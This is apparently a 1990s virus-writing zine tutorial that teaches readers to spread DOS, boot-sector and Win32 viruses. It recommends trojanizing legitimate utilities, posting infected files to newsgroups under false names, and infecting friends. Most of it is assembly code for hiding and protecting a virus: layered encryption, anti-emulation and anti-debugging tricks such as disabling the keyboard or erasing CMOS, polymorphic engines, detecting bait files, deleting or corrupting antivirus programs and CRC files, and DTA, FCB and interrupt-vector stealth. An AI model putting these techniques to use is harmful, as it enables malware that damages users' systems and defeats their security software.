The Infection Transaction. A.K.A: Spreading Theory.
And, TP's guide to surviving in the wild

By: Techno Phunk / TI


[Disclaimer]

O.k, disclaimer, BIG TIME. If you are caught spreading your virus, and it is illegal in your state, it was your descision. I can not be held responsible for ANY of your actions due to this article.

[Introduction]

In this issue I will cover only DOS and boot virus methods of "surviving". Except, I *WILL* mention a bit on spreading a win32 virus, and making it get around better, The next issue will contain article on win32 "surviving", I hope.

[Blabering On]

O.k, now that that is out of the way. Time for a lengthy article on the Spreading Theory. I would like to discuss the methods of spreading your newest creation, for each type of MAJOR virus type. I will go from DOS file viruses, to Boot/Mbr viruses, and finaly to win32 viruses.

[Duh and Blah]

As, most of you know, most viruses don't just get wild-listed on their own. Usualy, the virus writer him/herself has taken measures to make sure that their virus has been distributed. Some virus writers have even infected legit apps, that are in popular demand, and uploaded to popular sites such as simtel. And even some other virus writers have spread their viruses by infecting friends/and even family. Well, it's time to learn some of the most working ways, and some of the other things that some people have done, plus a few things that I plan on doing, or that I have thought of doing anyhow.

I sugest you read through all of these, as most of their ideas will/can apply to other types of viruses.

[Now To the Guts]

O.k, lets start with DOS viruses (gee, I get to go back to the ol' school for a while! yay! simplicity, here I come!)....

[COM infector spreading]

O.k, basicly, we all know that MOST people do not run COM files, except those that are included with their OS: win95, win98, etc. Now, how in the world are we going to spread it? Well, if I were you I'd advance up to atleast EXE, but since your proud of it, and want to see it get SOMEWHERE, I'll go ahead and talk about some things. O.k, first of all, you want to make sure that you get your virus posted to LITERALY every single anarchy/pirate board you can find. Just be sure to include a batch file or something to assemble it, as most of the anarchist's that spread so many viruses, are actualy, complete & uder morons.

Anyhow, once you have done that, you can always go for a specific audience. For example, lets say you want to goof off with software "hackers". So, we could infect some super elite dissasembler, that was indeed a COM file. For example, Intelegent Disasembler (a good, but small disasm). It is a good example of a GREAT carrier for your virus, as it will probably hit your targeted audience best. Now, as we go on in life, we must learn that usualy a COM virus isn't gonna spread to well these days. So, infect as MANY files on the drive as you can, and even switch to HD if on a floppy, as, you really want to try to infect as many files as possible on the FIRST run on out, as u can't just expect 2 or 3 files per run to get you anywhere. Expesialy in COM. Now, lets move onto EXE, PLEASE! ;)

[Exe Infectors]

Exe/???? are the better of all DOS viruses, in that you can actualy infect some DESCENT games/utils, however, most WAREZ are still win95+, so you can wait for that method. However, you can always be a prepender, like RAiD's viruses, and you'll do fine. O.k, basicly, our method with EXE viruses and combo's is that we want to infect in any way we can, the most part of the computer, just as above, probably can use a counter if in run-time, if you wish. Anyhow, TSR/runtime viruses will work best with the threat of win95. runtime at run from file, just to infect some files, and TSR after that so that if the DOS box stays open, they infect new places. Think about it. It'd be hard....but belive me you can get it to work after some tinkering. Now, we really want to use some of the above methods. But we also wish to post our virus to a few Newsgroups, and other internet media's, as somekind of util, hopefully you have a working one that someone could want. Anyhow, you basicly just post it under a "false" name, or whatever, and boom, everyone who downloads it, will, oviosly, be infected (if they run it). Soon, you may see "Oh gosh! I'm infected" poping up all over that newsgroup...so, have fun while it lasts. But, as we have seen, NG's are actualy a good method of spreading. Read http://www.datafellows.com/vir-desc/spanska.html (I think that is correct url) for a bit on NG spreading success ;)

[Mbr/Boot]

Well, to spread, we can either A. infect a software dealer SOMEHOW, or B. we can get practical, and be devios. The best way that I have thought of to spread a mbr/boot virus over the net, etc, is basicly, to create a dropper and then, make that dropper trojen itself onto a legit app. So, you could do this with a hex editor in a COM file like so:

JMP Virus_Drop
<dumby code>
Virus_Drop:
<drop virus to mbr>
<jmp back to the dumby code please>

Understand? or you can always create a EXE file that is actualy a dropper. I suggest that you SOMEHOW make a "semi-legit" bait, as we don't want the user to think he is infected, as we want him to be passing out some floppies :). Now, once you have writen the droper, and distributed it to Newsgroups, sit back, relax, as, in the nature of mbr/boot viruses, it will probably be wild-listed soon. Or atleast suplement listed, belive me. Oviosly, no guarentee, but it is VERY likly. Anyhow, if you play your cards all right you may have an epedimic occur ;). Be sure however that your virus will work (even semi-unnoticably) under win95....I mean, atleast be able to infect. Messages are o.k...but it'd be even better if you eliminate them, however, think about some of the older viruses out there that are not win95 compat and are still in the top 10 reports ;). They all are very much flaged under win95. Also, be sure to work around the newer BIOS AV's ;) (the lame switch that allows the BIOS to stop user from writing to MBR, without confirm).

You can use int 16h for that, similar to the VSAFE method, a long time ago. You can read about this in my mbr/boot article in this mag.

Anyhow, if you would look at the wildlist for like the past 10 or so years, you'll see that mbr/boot viruses have ALWAYS ruled the wildlist, even in the time of win95 and other win32 OS's. Anyhow, I hope your virus does well.

Let me just note: I lied above, sorta. Just in the past couple months, Word and win32 viruses have started to take over..but, still...mbr/boot provail.

Btw- add some multiparite infection for a REAL blast!! :)

[Win32 Viruses]

Well, basicly, the same as all the above. We have known that Newsgroups are one of the best ways to spread these bad boys, but be SURE that it CAN NOT be detected, at least, not by NORMAL AV's (AVP, F-prot, etc). One thing in these types of infectors is that they USUALY fail under winNT, as NT is diffrent from win95, try to add compatibility with winNT in your next virus as, most buisnesses and other large places use this OS more than just win95, suprisingly, this would boost your virus's ability to survive in the wild.

Also, make your virus DIFFICULT to clean, and I mean DIFFICULT, the more time it takes the engeneers to figure out how to clean it, the longer your virus will spread, so that poly engine you where thinking about, well, it may be a good idea. Also, it'd be even cooler if you can infect WM files also, or some other type of file. Even if you could just infect DOS EXE's. Anyhow, also note that you MUST NOT assume a hard-coded kernel base, as, this will screw winNT up. So, be careful here!

* Survival In The Wild - Part II of II *

[ Encryption]

O.k, basicly, what we need is a small, but efficaint first layer. I'm saying first-layer, as, more complex encryption should be the second layer. Anyhow the first layer should consist of more comon code, such as delta, and XOR loops. This way, we are much more complex for scan-string based AV's to find a string for us. It won't do jack agianst the Heuristic engines however, but we'll get over that in a bit. Just note that this will make it rather complex to find a scan string, as they have few bytes to work with.

Basicly, in encryption, you should have a strong second layer, after the weak (small) 1st layer. Encryption serves not 1, but 2 purposes. (this assumes that u have no poly engine, but, this would add more to your poly virus I might add!)

1.) Make's it less ovios to users, as text strings are hidden.
- this is how some viruses are "discovered" - by sneaky people ;)

2.) Make's it harder to scan string, without emulation.
- Bye-Bye McAfee ;)

Now, in the second layer we can use any of the following operands:

        * XCHG
        * NOT
        * ROR\
        * ROL/
        * ADD\
        * SUB/
        * XOR
        * ADC\
        * SBB/

Note that NOT and XCHG will produce constant code, so use them with other operands. For example, you could: Xchg Al,Ah / Add Ax, [Bp+Key] / NOT al or whatever! use your imagination. One idea also is to create diffrent keys as you encrypt/decrypt. For example...we could simply add:

        Dec Word Ptr[Bp+Key]
 * in the encryption loop

or:

        Inc Word Ptr[Bp+Key]

In the decryption, what this does, is gives us a diffrent key for each word or byte (depends on what kind of loop u use). This method makes it a LITTLE more complex to remove...it's even better if you make it more complex to figure out the new keys, and so on. It usualy won't cost you to much in speed, or in size, as long as you don't try to go off and write the next PGP :). Basicly, just a method of "creative" encryption ;). I might take back the note on Little more complexity to remove, as, all it will do is prevent them from taking your encryption key, and your decryption op, and going over the file. Not EXTREEMLY useful. Just think folks.

So, technicly, your o.k for now, in the Encryption field.

btw- this method also works in win32, of course <G> - 16bit code btw, also works with win32, however, I recomend u use the 32-bit versions, as you get some odd 4-billion diffrent virus-bodies. And it's a little bit faster :)

        Lea Esi, [Ebp+Crypt_Start]
        Mov Edi,Esi
        Mov Ecx, (end_vir-Crypt_Start) / 4
        Jmp Encrypt

        Cryption Dd 0

Encrypt:
        Lodsd
        Xor Eax, [Ebp+Cryption]
        Stosd
        Loop Encrypt
Crypt_Start:
[...]

Another thing that you may want to consider in your virus, is MULTIPLE encryption loops, no mater how big it makes the virus, but, be warned that about 4 loops is almost over-kill. 2 or 3 will do nicely, and, make the virus a bit more difficult to look at. Think about it. You can also make the loops be diffrent, for example:

        * [ First Layer - decrypts it's layer from WHOLE virus]
        * [ Second Layer - decrypts from 3rd layer only]
        * [ Third Layer - decrypts the 4th layer]
        * [ 4th Layer - decrypts the whole virus]
        * [ done ]

This way, you have multiple layers, in diffrent places. just be sure that at the least, that the loop after is encrypted...in other words, if you have two loops, make sure that loop one has encrypted loop 2, and that it is oviosly, decrypted by loop 1, also. Be sure to also keep your keys within the encrypted part, except for the first layer (which MUST stay unencrypted). If the Original info from a file: e.x: the data after header, is encrypted, and their are multiple loops, the AV has to do a little more work to decrypt those headers or original bytes :).

Simplicity can sometimes make things better :).

Note: if you have more than one encryption loop....in the second, third, etc put LOTS of anti-debuging code <EG>, bah, and some anti-emulation too! :)

[Anti-Emulation]

Anti-Emulation is very important in a virus also, as we don't really want the virus to be emulated during it's spreading fases. Belive me, it'll be emulatable after the AVers spend some time with it. And, then, no more trick. But, their are MANY ways to screw with emulators. First of all, a lot of "Heuristic" engines, actualy, rely on code being the same every time.

For example....TBAV looks for the *.exe string...if found it flags. See urgo's article on TBAV for more info on flags.

Anyhow, so, what we want to do is, basicly, set up a routine that the emulator can't understand, or will get tired of goofing with. We can do this in many ways. The classic way is to generate a *long* loop, and make the AV think that the loop is neverending. We have this this technique in many viruses both past and present. I still don't understand why AVers still have this feature. I guess they must keep their AV on the responsive levels. Anyhow, our SECOND method is to use a routine that the AV can't emulate, as its not in it's database of code to emulate. For example we can use the routines layed out in Urgo's tutorials, and in his viruses. And, one other method is to simply, and I do repeat, simply, do a new way of doing a common routine. This has been done in things like the delta offset, and using temp registers and even a diffrent register than BP. Btw- let us also mention the idea that this code will make the AV's have to debug your virus....as, they only debug if their emulators don't work to analyse. Well, exception of people like Kaspersky :)

Everyone o.k? o.k, time for making life missrable for the AVers...

[Anti-Debuging]

Now, since the AV's can't EMULATE, they must do this...lets talk.

Well, of course, this is esential in that, we want the AVers to have a real pain in the butt when trying to examin your very well surviving virus. We want the virus to have a cure in more time, as every MINUTE counts, as many files are being copied, EVERY second. So, the longer they AVers take, the longer it will be for your virus to spread before it starts being detected/removed.

Of course, if you kept other factors (described later) in mind, your virus should countinue to spread for a while, but of course, on about a 1/10 scale from what it started as. The reason we want the AVers to take longer is mostly, because a virus must spread it's BEST during the first couple months or so, as otherwise, it has really, no *REAL* chance of REALLY moving after that.

So, anti-debuging, right? o.k, it's a very simple concept, however it is hard to descuss a way of REALLY descent schemes, as lots of the techniques are very old, and are common also. So, you must get creative to make it hard.

O.k, their are a few things that we CAN do. First of all, lets talk theory. Note, that, I think that WHALE is probably one of the greater examples of a GOOD anti-debuging virus, as, even the AVers admit to the complexity of its anti-debugging code.

First trick, is to create Fake routines. A very simple way. However, I don't REALLY recomend it, as, it makes your virus quite large, and, in essance, slow.

Basicly, just create a lot of fake routines like:

        Call ThisIsFake
Backers:
        Mov Ah,3d02h
        Lea Dx,9eh
        Int 21h

        Jmp WhyMe
[...]

ThisIsFake:
        Mov Ah,3d02h
        Lea Dx,Hahaha
        Int 21h
        Jc Backers
WhyMe:
[...]
        Hahaha db 'ImBloated',0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-----

Get the idea? if not.....lord help you child.

Now, one of the first things we can do in our attempts to keep BOTH AVers and semi-educated-lamers out of our code is to disable the keyboard. This is a clasic, so don't expect to fool a "experianced" person. Basicly we play with the IRQ status of the keyboard device. I guess I'll show you how...

Screw_It:

        In Al,21h                  ; Dead Keyboard. Don't you love it 
        Or Al,02h                  ; 
        Out 21h,Al

[your code here]                   ; note this will not work under win95?
                                   ; probably do to Pmode operation
Unscrew:
        In Al,21h                  ; hrmm....I guess you can have
        And Al,Not 2               ; your keyboard back :P
        Out 21h,Al

Now, for example, TD can no longer do the F7 methods...and otherwise, do ANY type of function with the keyboard. Same goes for ALL debugers...except Emulators that don't allow the IRQ status to be changed.

Now, you also want to be *SURE* to insert a few int 3h's here and there. It'd better if you make int 3h point to int 21h....Simply:

        Mov Ax,3521h          ; get int 21h's vector.
        Int 21h
        Mov Word Ptr [Int21],Bx    ; store offset
        Mov Word Ptr [Int21+2],Es  ; segment

        Mov Ax,3503h          ; get 03h's vector for later.
        Int 21h
        Mov Word Ptr [Int03],Bx    ; offset
        Mov Word Ptr [Int03+2],Es  ; segment

        Mov Ax,2503h
        Lea Dx,To                  ; int 3h points to a JMP to int 21h.
        Int 21h

; Whatever you want in between
        Mov Ah,9
        Lea Dx,Msg
        Int 3h                     ; <EG>
; blah.

        Mov Ax,2503h               ; you should restore.
        Push Ds                    ; some anti-debuging programs don't like you not
        Lds Dx,[Int03]             ; restoring (copyprotection programs that is)
        Int 21h                                       
        Pop Ds                     ; I asume that you need DS to stay same in this example


        To Db 0EAh
        Int21 Dw 0000h
        Int03 Dw 0000h     

-------

I didn't test the above, but it should work. Basicly, the Debuger is gonna stop at EACH of the Int 3h's. This is great, as, when it stops, the keyboard is PROBABLY going to be disabled...and, of course....you get some optomisation in bigger viruses....since int 21h is oviosly 2 bytes, while int 3h is one. You can also do this with Int 1h, with the undocumented: ??h opcode. If you want...I recomend int 3h for anti-debuging, however.

Now, another "annoying" thing to do is:

                Mov Si, Offset Eov
Decrypt:
                Xor Word Ptr Cs:[Si], 0000h 
                Crypt_Val Equ Byte Ptr $-1
                Dec Si
                Cmp Si, Crypt_Start
                Jnz Decrypt
Crypt_Start:

o.k, a bit of explanation here. First of all, you avoid certain Debuger's "go" function of sorts, because the loop is backwords, and it screws up. Next the user can no longer "f8" under TD to by pass the loop function...and, with a large virus, this could be quite a pain in the arsch....as you have to sit and countinuesly press down f8 or f7, just depends. But, needless to say, it will suck for whoever is trying to debug this loop.

The next type of thing we can do, is put in a stack check. When debugers trace with Int 1h, the stack is destroyed. So, we can "abuse" this fact by the following:

Push Ax
Pop Ax
Dec Sp
Dec Sp
Pop Bx
Cmp Ax,Bx
Jne Tracing_Losers_Found

[...]

Tracing_Losers_Found:
[do something mean: erase CMOS, HLT, use your imagination <EG>]

This is a great thing to shove somewhere where it's needed and to implement. For Example, this could be used for the restore routine of a SYS infector...

        Mov Bx, Offset TheEnd        ; BX = offset of original strat routine
        Pusha                        ; push all regs till end.

[...]

        Popa                         ; Gimme em all back!
        Push Bx                      ; We know this trick...(just slightly reversed)
        Pop Bx
        Dec Sp
        Dec Sp
        Pop Ax                       ; now, give me the value of BX in AX. heh.
        Push Ax                      ; if debuged, won't return correctly.
        Xor Ax,Ax                    ; duh
        Ret

TheEnd:
        Int 20h
------

Just an example, could be used in similar ways...just use your imagination.

And yet another way to screw with this...

        Mov Ax,Offset TheEnd    ; use any register you like.
        Push Ax
        Pop Ax
        Dec Ax
        Dec Ax
        Pop Ax
        Jmp Ax
        Pop Ax
TheEnd:
        Int 20h

Wasn't that all fun!

Now for a very resistant way for Int 3h.

; parts of this example taken from my SISTERS virus.

        Push Ds                         ; you will want this later.
        Xor Ax,Ax
        Mov Ds,Ax                       ; DS = 0
        Xchg Ax,[12d]                   ; Exchange for a bit.
        Mov Word Ptr [Blar],Ax          ; save for later.
        Pop Ds                          ; gimme back DS

        Mov Ah,9                        ; some code.
        Lea Dx, Msg
        Int 21h
                                        ; you may want to save DS if you still need.
        Xor Ax,Ax                       ; DS = 0 agian
        Mov Ds,Ax
        Mov Ax, Word Ptr [Blar],Ax      ; Give us back the original value.
        Xchg Ax,[12d]                   ; back to int 3h's place in IVT.
        Int 20h                         ; exit.

some_data:
        Msg Db 'Blah$'
        Blar Dw 0

this is just an example, but this will f'up a debuger using int 3h...for int 1h u can do this:

        <zero ds or whatever you want to use>
        Xchg Ax,[4] ; note: AX = 0
        Int 3h      ; stop each time (in case someone trys to int 3h past it)
        Xchg Ax,[4] ; restore.
        <code>

you may want to put that in a loop about 256 times or whatever, and put it in backwards order for more fun...have fun :)

Another great way to make this proccess for the AVers even more painful, is to put a lot of layers of encryption, as, the more you put in, the more they have to trace through, and find alogorythms for. Not a fun thing at all ;). Not to mention, that, in SOME computers/debugers, they will run out of memory if you do it just right. for example the CRAPY debuger: d86 (included with the a86 package)...will crash on a loop. Unless you setup break points.. You'll get "unsufficaint memory"...

One other great trick is to use the timer (int 8h) to screw with a debuger. This can be done by traping int 8h, and then, making the handler make some value true...for example you could MOV a value, or MOV a value to a register. Then, after you have hooked, you must set-up a loop, when the loop runs, it simple looks for int 8h's handler being called. In other words, looks for the value you set, to be true. This will only happen in a normal program, as under debugers, int 8h isn't called, fun eh? :) btw- Int 8h is not called under an emulator either (more fun) - soft-ice, super tracer, bye.

Also, under win32, here's a small anti-debuger trick. Simply take the Int 3h instruction, and instead of db 0cch....put in a db cd03h. And they will get messed up. Have fun with that (you can do all kinds of fun things including using it in your getting of ring0 access <EG>)

O.k, kiddies, it's time for the next part. Anti-Bait filing.

[Anti-Bait]

What can I say? heh...lets make it even more painful, pull out your favorite bait generators, and study how they work, and then, you will see the way that most AVers Bait generators work. You can then write code that will either A. look at the name for certain things. or B. look at the code....or even both, I recomend you do a little of both, as you'll catch more that way. You really want to make things hard on them. After all, they should have to work like the rest of us to make thier money! :). It's just not fair is it? ;)

O.k, lets talk. First of all, we DEFINATLY want to avoid tiny files, because they first of all, are of no use to us, and second, could be bait files. Now, if your an EXE infector, it's VERY safe to asume GOOD files to be well over about 5-10k....As, most compilers (of HLL) produce code of up to 12k for a simple "hello world". Get the idea? Well, it's quite simple to check the file size, just look in the DTA at offset 1ah, you'll find yer info there. Then, you can do a CMP and a conditional jump. You also, if infecting COM files want to check for a size larger than 64k or 65k (depending on the size of your virus). The next thing you want to do, is to check the date stamps, if they are like, within the last two or three days, beware. Also, look for dates before for example: 198?....these files would usualy mean trouble, or actualy, a bait generated file. So, be careful of these.

Now, the other method, code analyses. We must first of all become accustomed to what "junk bytes" really are. First of all, look for them, for example, if you scan over a host, and it has more than, say, about 10 nops, don't infect it. I mean, not too many programs use NOPs, and if they do, they use FEW. Also look for trash like: add ax,3 / sub ax,3, and other instruction sets that are oposites.

Also, I wouldn't infect any files in root directory...or infect ANY file with a number in it. These types of files often mean T-R-O-U-B-L-E

Read AVPVE (dos version or online, I dun care) to see some of the ideas that Kaspersky shares. <EG>

Basicly, that's it, but, of course, there is always more to the picture. And yes, I'm talking about that dreded thing: POLYMORPHISM, and other ways of changing the code, and making the lives of AVers a pain.

[Morphing]

Well, most people have heard of Polymorphism, which is the practice of making code diffrent, by diffrent means. Wether it be insertion of "junk", the changing of entire routines (oligomorphism)...or even the simplistics of register changing (often overlooked).

We've seen it all, from MtE to DAME, to independent poly's such as the more recent Ultimate-Evil (smallest one I know of), Zohra, Ithaqua...and even Elvira. All of which (except ultimate-evil) are quoted as "complex" to find alogorythms for, or otherwise complex in code. The key to a GOOD poly engine is a few things: LOTS and LOTS of diffrent code that it can produce. Slow morphing (makes it quite a bit harder to analyse when it won't give up to much code per run). And combination with the other techniques described in this article.

So, what kind of polymorphism is *RIGHT* for your virus? Well, I must say that I'm not the expert on polymorphism...but, here we go.

Op Code changing is quite simple...Basicly u can figure out the op codes to your encryption loop. Note that if you need the virus size, u'll need to wait until you know the exact size of the assembled code, then insert that value. Basicly...think about it. You can do things like:

Add --- > Sub or ---> Xor or ----> Adc or ----> SBB or ----> Not

you get the idea...basicly, u can change the alogorythm for each decryption/encryption. I do this in my SISTERS virus btw.

Then...you can switch bytes around:

        Mov Di,Si
        Mov Cx, VirSize

Is same as:

        Mov Cx, VirSize
        Mov Di,Si

And also:

        Lea Si,Start
        Mov Di,Si

is same as:

        Lea Di,Start
        Mov Si,Di

you get the idea...

Also, junk bytes are a great thing to screw with. However, it's not really that "Great" in that, all that is done by the AV, is they are all skiped over, not really that "fun". However, it will screw the AV up in the first part as any poly....as long as it's original, and strong.. In other words, a simple "junk" generator: generates a set number of 1 byte intrstuctions...is not going to help that much, and will probably get AV's upset with infected files (detect them) in that they will flag a 'junk' code section.

O.k...so, you can use ANY instruction you want...as long as it doesn't effect the rest of the decryptor. Some common (one byte only) instructions:

        * sahf
        * lahf
        * nop
        * clc
        * stc
        * cbw
        * cwd
        * int 3h
        * dec ax
        * dec bx
        * dec dx
        * inc ax
        * inc bx
        * inc dx
        * db 0f1h  ; int 1h - undocumented op code for 1 byte.
-------------

the above is simply not enough....anyhow, lets move on.

Here is a SAMPLE of a small poly engine structure...a advanced Junk Byte poly.

        Lea Di, Offset Buffer
Loopers:
        Mov Ax, 3
        Call Random      ; return between 0-ax
        Shl Ax, 1        ; give me it in offsets.
        Add Ax, Offset Table
        Mov Si, Ax               ; SI = pointer to place we goin
        Call Word Ptr [Si]
        Cmp Byte Ptr [Counter],6 ; have enough of the originals yet?
        Jne Loopers

        Ret

Start_Table:
        dw Offset Make_Movs      ; routine to make a random MOV
        dw Offset Make_Nops      ; to generate stc, nop, and other junk
        dw Offset Gimme_Real     ; gives a real byte of decryptor.
        dw Offset Make_Add       ; random Add's
        dw Offset Make_Sub       ; some random Sub's
        dw Offset Make_Xor       ; random XOR's even! :)
        
[...]

Get the idea?

Very easy, no? :)

Basicly, you can do things like a random mov by generating random number between 0 and 7....and b8h and then place two bytes after...this way, you get a nice Mov ??, ????? instruction...and otherwise, you will have to do a little research to write these routines.

However, let us talk a bit more, what is a better way, TP?

O.k, I hate talking about this, as I'm not exactly mr. leeto in Polymorphism, but, I will explain this, as best as posible. Now, the BEST way of creating a GOOD poly engine, is not only to rely on ONE or TWO "simple" types of morphing. The BEST way is to make your code as VARIABLE as possible, I mean, not JUST junk bytes, which, is semi-constant, as they can see that your stuff is junk, and they'll just skip it. Now, the fun part. We must implement a combination of "do-nothing" interupt calls, wierd mathematical functions, that, will not ALTER any of our NEEDED values, we must also have SOME junk placed inbetween the op codes, which, we use the above variable "do-nothing" statements. Anyhow, the next thing that we can oviosly do, is to simply change the registers used within the decryptor, so, we don't use the SAME registers all the time. We also should implement a bunch of strange routines. In other words, instead of:

        Push Ax
        Pop Ax

We could generate through some more complexness, a new set of junk like this:

        Push Ax
        Nop
        Xchg Bx,Ax
        Push Cx
        Xchg Bx,Ax
        Pop Ax
        Pop Cx

Note: the op codes are simply not "bunched" together...shoot, if you can do it CORRECTLY (and belive me, it'd be a pain)....you could even wind up with the POP Ax, somewhere about 200 bytes down...talk about a pain ;).

Just be sure that if you spend time on a poly engine, to make SURE that it is going to work WELL, and that NO TWO conditions are dependent...this has been stressed through out the years, and yet, few people remember this. PLEASE make SURE that you make your engines worth while, I don't want you WASTING your time. Have fun!

----Now, a bit more on morphing....

Metamorphism, is yet, another (not so commonly used) method of making the virus more complex to remove. Basicly, it consists of making the virus have random sizes. We can do this VERY easily, by simply adding bytes to the end of our virus, by use of things like the timer. Also, we can make it a bit more complex, and actualy write a random amount of virus code, then, insert a JMP over the trash....and then write the trash stuff....and then countinue writing the virus, and finaly, encrypt the virus itself. So that the virus in the heap (before encryption or writing) looks like this:

<virus>
<jmp $+length_of_the_trash+3>
[...]
<rest of virus>

then, we just encrypt as usual. This method make the virus change a bit also. The only problem with this method, as you might have guessed, is in that, you must CHECK to make sure that u are at the end of an instruction, before you write the JMP, because, if your not, life is gonna suck. :). One SIMPLE way would be to use STATIC locations, but, that's not fun. You can search for a random CD21h (int 21h), and write the JMP after that. That would be a bit more random. Anyhow, do this anyway you please. This is just a method that I devised while writing this. Just note that this can also be done by the use of

Now, really quickly I'd like to mention a little method that I have thought of, that would be sorta intresting to see how the AVers handle it. It's not much, actualy, it could be left alone. Here's the idea, basicly, what we do is we write trash after INT's in the host...e.x:

Original Host:        After Virus:
Mov Ah,9              Mov Ah,9
Lea Dx,Msg            Lea Dx,Msg
Int 21h               Int 21h
                      Nop
                      Int 3h
                      Jmp $+3

or whatever, this, is not dangerous, but, it would make the AVers scan through the WHOLE host, and try to get rid of the junk that we added. Also, we can always write ourselfs into the unused space of the file, wether it be a PE file, or a MZ, and just write a bunch of trash there. Whatever you like to do, just use your imagination. Note that a lot of this stuff in this tutorial still having to do with DOS crap...I have a special section in a bit on anti-debuging in win32, and a bit on anti-emulation, anti-AV, etc in the next tutorial (in TI#2)

Please note that Metamorphism can ALSO be defined as the polymorphing of a virus, without encryption...and without changing it's function...for example.. to simply go through, and add a few junk bytes between each diffrent instruction. Quite fun! :)

[Anti-Anti-Virus Methods]

Yes, yes, yes, we must have some code also to make it VERY complex for the AV to run, or function properly. We can do this by many methods, first of all we can always do the OLDEST trick in the book, and it can't be patched, unless the AVers change the name of their AV. Now, basicly what we can do is delete the AV itself, or we could always delete some of it's main files, even currupt them.

Another thing is that we can trick the AV into thinking that the file is empty. Or, we could even make the AV think that all files are infected. By simply returning the virus's body every time they read a file. And to be even more fun, you could make it so that TXT files apear infected ;). Anyhow, that's only if your in memory at the time. Now then, we have seen many methods through out the years. From anti-emulation, to breaking out of the "safe" areas and infecting during scans (Lauren virus). Now, lets take a look at some of our methods. First trick I'd like to look at is the simplicity of deleting the pains. You can delete the AV itself, which is very ovios, but it may confuse a normal user. Now, second of all, you can cause the AV to function improperly, by simply deleting some of it's data files, but some AV's will warn user of this, and say it could be a virus. So, what else could we do? Well, you could search for conditional jumps, and change them, which is always funny to do. Heh it'll really mess with the AV's functioning. and you can always just overwrite like bytes somewhere randomly in the file, which will probably cause some problems. or cause wierdness to the user. Whatever you want to do! screw the AV, we dun care.

Another method, less rude, is to simply keep the AV from running. However, u can only do this if you are a TSR, but I pray that you atleast understand TSR by now. O.k, basicly, this method has been done, and is quite effective. As long as the AV doesn't have another TSR proggy to stop you. So, how to do it? Well, it's VERY simple actualy. Basicly, your concept goes like so, you compare the file being run's charecters, and if it is a AV that you want to avoid, then, you just go to your anti-av routine. Here, you simply TERMINATE the proccess, this simply stops it from running, with great success. But, again, the virus MUST be in memory. So, next theory...

Now, lets say that u have done one of the above techniques. So, how to make sure that Nasty AVers don't stop you by way of a TSR AV? Well, in many ways we can do this. First of all, we can tunnel int 21h, and make sure we get a clean one, this way, we get rid of anything that has hooked int 21h. Not to mention that we probably want to do this. Another thing to do, just to screw with TSR-AV's, is to actualy intercept calls to hook int 21h, and protect it, this way, no other program can just revector, and screw yer virus over. This is probably one of the greater things to do in a virus.

Now, what else can we do? Well, use your imagination is what I always say. By the way, one *GOOD* thing to do, when infecting is to make sure that you don't infect any AV's with a self-check. Most do have a self-check btw, for reasons, that are ovios. Now, as we countinue to go along, we try to think of even more complex things to screw with the AVers minds, why? because it's fun :).

If you have ever looked at some AV packages, you probably have noticed that some even implement CRC files in their "protection schemes", well, guess what these can be screwed over with NO problems. First of all, in some AV cases, we can actualy emulate the CRC file, and change CRC's of files. This is probably the best "stealthy" method, but is usualy a bloated routine, so, next thing we *CAN* do, is to simply rename the file, or delete it. Whatever you wish to do, as, both will have the same result. btw- here's a short list of a few annoying CRC files to rid of:

Anti-Vir.Dat
CHKLIST.*
ivb.ntz

[Stealthy Features]

O.k, so, now you've prety much made it hard for the AVers to capture and study our virus, so, now what? Well, as the sub-topic title refers to, STEALTH. Why? because, we want the user not to become suspicios either! The longer it takes for some moron to figure it out, the longer it will take the AVers to get a sample, you dig?

So, we have a few common ways of stealth, which I will discuss, and a bit about the pro's and con's.

First of all, we can do a find first/next stealth...Which is a.k.a 'ed as DTA stealth. Lots of viruses use this, as it's a very, very, simple method to avoid some programs from noticing size diffrences.

O.k...basicly here's the outline (assuming that we've noticed the functions 4e and 4f being called sometime):

        Check if infected ----+
                              |_ Infected --+
         Let it happen, nop  _|             |
                                            | _ subtract virus size from
                                                the size of file in the existing
                                                DTA.

That's it. Now for the pro's and con's of this:

for all of these, virus MUST be in memory (except for the simple time/date restoration).

- DIR will detect diffrences (I am not sure if this is true under winblows 95/98) use FCB's for this.

This works simply, and efficiantly, as, lots of persons use programs like Dos Shell, Nortan Commander, and other File Shells. Basicly, it doesn't take much just SUB the word at offset 26 in the DTA.

[File/Date restoration]

Very Easy.

Function 57h (with al=0)....= Get File Date and Time Returns in CX and DX the file date stamp. and the time stamp.

So...
        Mov Ax,5700h
        Int 21h
        Push Cx
        Push Dx

Fucntion 57h, al=01, now it is "set" file date/time
Calling params need DX and CX again...we just pop em back.

        Mov Ax,5701
        Pop Dx
        Pop Cx
        Int 21h

Remember: when you push something, the next pop will = it.

        Push 100
        Pop Ds

now ds=100....

so:

Push Cx  --
Push Dx  -  \ -\
             \  \
              \  \
to say:       /   \
Pop Cx  - DX /    /
Pop Dx  - CX ___ /

would be wrong =)

Now then. Let talk about a TSR method again. One of my FAVORITE types, thanks Billy and Int13h ;).

[IVT stealth]

Basicly, we don't want any AV's to be above us, and so on. So what we want to do, is give back some original vectors. For example: 35h of 21h will return the Old_Int21h value...this way, the program stores that one. Then, when 25h is called, we store the new offset as our Old_Int21h

so:

<we call int 21h>
<there handler is proccessed>
<and others are done>
<dos>

It's very easy to do, requires only two mov's per function, to be honest.

; assumes that DS is pointed in right place.
Stealth_35h:
Mov Word Ptr [Old_int21h],Bx
Mov Word Ptr [Old_Int21h+2],Es
Iret

Stealth_25h:
Mov Bx,Word Ptr [Old_Int21]
Mov Es,Word Ptr [Old_Int21+2]
Iret

It's that simple! And so useful too :)

Now, we are always on top baby :) - thus we get to work first. =]

[FCB stealth]

This is a clasic method, and is probably one of the most useful, however, you must know that if an archiver is running, your screwed, so disable when they run.

btw- just check for 11h and 12h being called. As, 11h = findfirst FCB and 12 = your FindNext FCB.

Stealth_the_DIR:
        Call Int21h                          ; pushf / call combo.
        Or Al,Al
        Jnz ScrewIt                          ; if error, f' off ;)
                                             ; save all regs
        Pusha
        Mov Ah,2fh
        Call Int21h   ; agian.

        Cmp Byte Ptr Es:[Bx],0ffh ; is extended?
        Jne NotExtended
        Add Bx,07h    ; adjust
NotExtended:

; check your infection here.
        Sub  Word Ptr Es:[Bx+1Dh],Virus_Size ; Subtract virus from size.
        Sbb  Word Ptr Es:[bx+1Fh],0          ; and with Borrow

NoVirusHere:
        Popa                                 ; all regs to original
ScrewIt:
        Retf 2                               ; return.

